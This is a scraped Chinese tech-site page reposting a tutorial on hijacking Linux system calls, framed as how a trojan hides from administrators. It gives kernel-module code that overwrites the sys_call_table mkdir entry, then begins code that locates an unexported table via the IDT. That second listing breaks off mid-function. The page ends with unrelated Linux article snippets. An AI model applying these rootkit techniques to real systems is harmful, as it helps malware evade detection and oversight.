易截截图软件、单文件、免安装、纯绿色、仅160KB

实现Linux系统调用劫持

关于系统调用劫持
如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:
模块一:
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
        return 0; /*everything is ok, but he new systemcall   does nothing*/
}
int init_module(void) /*module setup*/
{
        orig_mkdir=sys_call_table[SYS_mkdir];
        sys_call_table[SYS_mkdir]=hacked_mkdir;
        return 0;
}
void cleanup_module(void) /*module shutdown*/
{
        sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal  one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如
redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void
*sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面
是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module  automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
  unsigned short offset_low,segment_sel;
  unsigned char reserved,flags;
  unsigned short offset_high;
};
unsigned long *getscTable(){
 


相关文档:

Linux信号简介

Linux信号简介  
1) SIGHUP 本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联.   
2) SIGINT 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出   
3) SIGQUIT 和SIGINT类似, 但由QUIT字符(通常是Ctrl-\ ......

如何在linux/unix中设置线程的优先级

如何在linux/unix中设置线程的优先级
int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg);
来创建线程,但是如何设置线程的优先级呢?
在讨论这个问题的时候,我们先要确定当前线程使用的调度策略,posix提供了
int pthread_attr_getschedpolicy(const pth ......

LINUX下为ff添加flash 插件

首先, 我的FF版本是3.0.16的,从官网(http://get.adobe.com/flashplayer/)上下载.tar.gz包后。。解压出里面的一个*.so文件
件之后,把该文件复制到/usr/lib/mozillia/plugins下,重启ff就OK了。
(以上方法仅供参考,至少我是这样做的,并且成功了,) ......

Linux学习计划

以前曾经看过这样的一篇文章,大概是这样的:
学习Linux要分三个阶段来学:
1)使用Linux;
2)Linux的程序设计;
3)Linux的内核及编程。
从现在开始要学习Linux了,主要是先从使用Linux开始了,选用的Linux是Red Hat 5. ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号